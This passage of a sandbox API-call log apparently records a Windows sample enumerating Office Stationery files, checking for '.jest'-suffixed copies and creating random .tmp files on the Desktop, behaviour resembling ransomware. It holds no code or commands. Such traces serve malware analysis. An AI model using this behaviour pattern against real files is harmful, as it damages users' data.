lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpFilePart=0x18e780*="Peacock.htm") returned 0x45 [0122.499] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpFilePart=0x18e780*="Peacock.htm") returned 0x45 [0122.499] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0122.499] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x8f)) [0122.499] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x8f)) [0122.499] GetUserDefaultLCID () returned 0x409 [0122.499] VarBstrFromR4 (in: fltIn=0x47944392, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.14") returned 0x0 [0122.500] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="Ð") returned 1 [0122.500] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpFilePart=0x18e780*="Peacock.htm") returned 0x45 [0122.501] GetFullPathNameA (in: lpFileName="lTUcspe3vLcelqwL9cBQNFCWSH-INgkMKW49psiBI2g4ilzlVO8c36lKKkOJW BV9FIC EUYtgt9-RfGYhR5Va-4Qu9DpPQ4O7N.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lTUcspe3vLcelqwL9cBQNFCWSH-INgkMKW49psiBI2g4ilzlVO8c36lKKkOJW BV9FIC EUYtgt9-RfGYhR5Va-4Qu9DpPQ4O7N.tmp", lpFilePart=0x18e708*="lTUcspe3vLcelqwL9cBQNFCWSH-INgkMKW49psiBI2g4ilzlVO8c36lKKkOJW BV9FIC EUYtgt9-RfGYhR5Va-4Qu9DpPQ4O7N.tmp") returned 0x8d [0122.501] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpFilePart=0x18e708*="Peacock.htm") returned 0x45 [0122.501] GetFullPathNameA (in: lpFileName="lTUcspe3vLcelqwL9cBQNFCWSH-INgkMKW49psiBI2g4ilzlVO8c36lKKkOJW BV9FIC EUYtgt9-RfGYhR5Va-4Qu9DpPQ4O7N.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lTUcspe3vLcelqwL9cBQNFCWSH-INgkMKW49psiBI2g4ilzlVO8c36lKKkOJW BV9FIC EUYtgt9-RfGYhR5Va-4Qu9DpPQ4O7N.tmp", lpFilePart=0x18e6e4*="lTUcspe3vLcelqwL9cBQNFCWSH-INgkMKW49psiBI2g4ilzlVO8c36lKKkOJW BV9FIC EUYtgt9-RfGYhR5Va-4Qu9DpPQ4O7N.tmp") returned 0x8d [0122.501] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lTUcspe3vLcelqwL9cBQNFCWSH-INgkMKW49psiBI2g4ilzlVO8c36lKKkOJW BV9FIC EUYtgt9-RfGYhR5Va-4Qu9DpPQ4O7N.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6355546c, cFileName="spe3vLcelqwL9cBQNFCWSH-INgkMKW49psiBI2g4ilzlVO8c36lKKkOJW BV9FIC EUYtgt9-RfGYhR5Va-4Qu9DpPQ4O7N.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0122.501] GetLastError () returned 0x2 [0122.501] GetLastError () returned 0x2 [0122.501] SetLastError (dwErrCode=0x2) [0122.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0122.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0122.502] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0122.502] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.502] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.503] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.503] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.503] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.503] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", lpFilePart=0x18e870*="Peacock.jpg") returned 0x4b [0122.520] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.jest", lpFilePart=0x18e870*="Peacock.jpg.jest") returned 0x50 [0122.523] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", lpFilePart=0x18e6d8*="Peacock.jpg") returned 0x4b [0122.523] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42205364, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42205364, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x828d7b1c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x78, dwReserved1=0x56006533, cFileName="Peacock.jpg", cAlternateFileName="")) returned 0x143ce48 [0122.523] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0122.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0122.523] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", lpFilePart=0x18e780*="Peacock.jpg") returned 0x4b [0122.525] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", lpFilePart=0x18e780*="Peacock.jpg") returned 0x4b [0122.525] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0122.525] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0xaf)) [0122.526] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0xaf)) [0122.526] GetUserDefaultLCID () returned 0x409 [0122.526] VarBstrFromR4 (in: fltIn=0x47944396, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.17") returned 0x0 [0122.526] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="ö") returned 1 [0122.526] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", lpFilePart=0x18e780*="Peacock.jpg") returned 0x4b [0122.527] GetFullPathNameA (in: lpFileName="Oo1z vKJ9mCrsnCU3eD_be_q9YDp9bFTE4O7h995ilq3Bd1bZoV-6K8uJy6oFG0UVdlUMsSiqsUlc0s6eKJBvu50MKubc854xMCb.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oo1z vKJ9mCrsnCU3eD_be_q9YDp9bFTE4O7h995ilq3Bd1bZoV-6K8uJy6oFG0UVdlUMsSiqsUlc0s6eKJBvu50MKubc854xMCb.tmp", lpFilePart=0x18e708*="Oo1z vKJ9mCrsnCU3eD_be_q9YDp9bFTE4O7h995ilq3Bd1bZoV-6K8uJy6oFG0UVdlUMsSiqsUlc0s6eKJBvu50MKubc854xMCb.tmp") returned 0x8e [0122.527] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", lpFilePart=0x18e708*="Peacock.jpg") returned 0x4b [0122.527] GetFullPathNameA (in: lpFileName="Oo1z vKJ9mCrsnCU3eD_be_q9YDp9bFTE4O7h995ilq3Bd1bZoV-6K8uJy6oFG0UVdlUMsSiqsUlc0s6eKJBvu50MKubc854xMCb.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oo1z vKJ9mCrsnCU3eD_be_q9YDp9bFTE4O7h995ilq3Bd1bZoV-6K8uJy6oFG0UVdlUMsSiqsUlc0s6eKJBvu50MKubc854xMCb.tmp", lpFilePart=0x18e6e4*="Oo1z vKJ9mCrsnCU3eD_be_q9YDp9bFTE4O7h995ilq3Bd1bZoV-6K8uJy6oFG0UVdlUMsSiqsUlc0s6eKJBvu50MKubc854xMCb.tmp") returned 0x8e [0122.527] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oo1z vKJ9mCrsnCU3eD_be_q9YDp9bFTE4O7h995ilq3Bd1bZoV-6K8uJy6oFG0UVdlUMsSiqsUlc0s6eKJBvu50MKubc854xMCb.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x7a316f4f, cFileName=" vKJ9mCrsnCU3eD_be_q9YDp9bFTE4O7h995ilq3Bd1bZoV-6K8uJy6oFG0UVdlUMsSiqsUlc0s6eKJBvu50MKubc854xMCb.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0122.527] GetLastError () returned 0x2 [0122.527] GetLastError () returned 0x2 [0122.527] SetLastError (dwErrCode=0x2) [0122.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0122.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0122.528] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0122.529] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.529] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.529] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.529] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.529] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.530] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.530] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.530] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.530] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.530] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.530] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpFilePart=0x18e870*="Peacock.jpg") returned 0x45 [0122.535] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.jest", lpFilePart=0x18e870*="Peacock.jpg.jest") returned 0x4a [0122.537] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpFilePart=0x18e6d8*="Peacock.jpg") returned 0x45 [0122.537] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x78, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 0x143ce48 [0122.537] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0122.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0122.537] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpFilePart=0x18e780*="Peacock.jpg") returned 0x45 [0122.562] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpFilePart=0x18e780*="Peacock.jpg") returned 0x45 [0122.563] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0122.564] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0xdd)) [0122.564] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0xdd)) [0122.564] GetUserDefaultLCID () returned 0x409 [0122.564] VarBstrFromR4 (in: fltIn=0x4794439c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.22") returned 0x0 [0122.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="¢") returned 1 [0122.564] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpFilePart=0x18e780*="Peacock.jpg") returned 0x45 [0122.565] GetFullPathNameA (in: lpFileName="Zrx6f30vUDumc3er3C60vUY rfc_6iSOAbn0NIY2KO5-OxaoxtGHUHBJbYvYHzrTgyXR3VL4L00_drZBkobx5FeTIrJAgGqGhPR.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Zrx6f30vUDumc3er3C60vUY rfc_6iSOAbn0NIY2KO5-OxaoxtGHUHBJbYvYHzrTgyXR3VL4L00_drZBkobx5FeTIrJAgGqGhPR.tmp", lpFilePart=0x18e708*="Zrx6f30vUDumc3er3C60vUY rfc_6iSOAbn0NIY2KO5-OxaoxtGHUHBJbYvYHzrTgyXR3VL4L00_drZBkobx5FeTIrJAgGqGhPR.tmp") returned 0x8d [0122.565] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpFilePart=0x18e708*="Peacock.jpg") returned 0x45 [0122.566] GetFullPathNameA (in: lpFileName="Zrx6f30vUDumc3er3C60vUY rfc_6iSOAbn0NIY2KO5-OxaoxtGHUHBJbYvYHzrTgyXR3VL4L00_drZBkobx5FeTIrJAgGqGhPR.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Zrx6f30vUDumc3er3C60vUY rfc_6iSOAbn0NIY2KO5-OxaoxtGHUHBJbYvYHzrTgyXR3VL4L00_drZBkobx5FeTIrJAgGqGhPR.tmp", lpFilePart=0x18e6e4*="Zrx6f30vUDumc3er3C60vUY rfc_6iSOAbn0NIY2KO5-OxaoxtGHUHBJbYvYHzrTgyXR3VL4L00_drZBkobx5FeTIrJAgGqGhPR.tmp") returned 0x8d [0122.566] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Zrx6f30vUDumc3er3C60vUY rfc_6iSOAbn0NIY2KO5-OxaoxtGHUHBJbYvYHzrTgyXR3VL4L00_drZBkobx5FeTIrJAgGqGhPR.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x3678725a, cFileName="f30vUDumc3er3C60vUY rfc_6iSOAbn0NIY2KO5-OxaoxtGHUHBJbYvYHzrTgyXR3VL4L00_drZBkobx5FeTIrJAgGqGhPR.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0122.566] GetLastError () returned 0x2 [0122.566] GetLastError () returned 0x2 [0122.566] SetLastError (dwErrCode=0x2) [0122.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0122.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0122.566] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0122.568] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.568] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.568] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.568] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.568] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.569] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm", lpFilePart=0x18e870*="Roses.htm") returned 0x49 [0122.576] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm.jest", lpFilePart=0x18e870*="Roses.htm.jest") returned 0x4e [0122.578] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm", lpFilePart=0x18e6d8*="Roses.htm") returned 0x49 [0122.578] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42205364, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42205364, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41ff0024, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x78, dwReserved1=0x56006533, cFileName="Roses.htm", cAlternateFileName="")) returned 0x143ce48 [0122.578] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0122.578] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0122.578] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm", lpFilePart=0x18e780*="Roses.htm") returned 0x49 [0122.579] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm", lpFilePart=0x18e780*="Roses.htm") returned 0x49 [0122.579] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0122.579] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0xed)) [0122.579] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0xed)) [0122.579] GetUserDefaultLCID () returned 0x409 [0122.579] VarBstrFromR4 (in: fltIn=0x4794439e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.23") returned 0x0 [0122.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="ô") returned 1 [0122.580] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm", lpFilePart=0x18e780*="Roses.htm") returned 0x49 [0122.580] GetFullPathNameA (in: 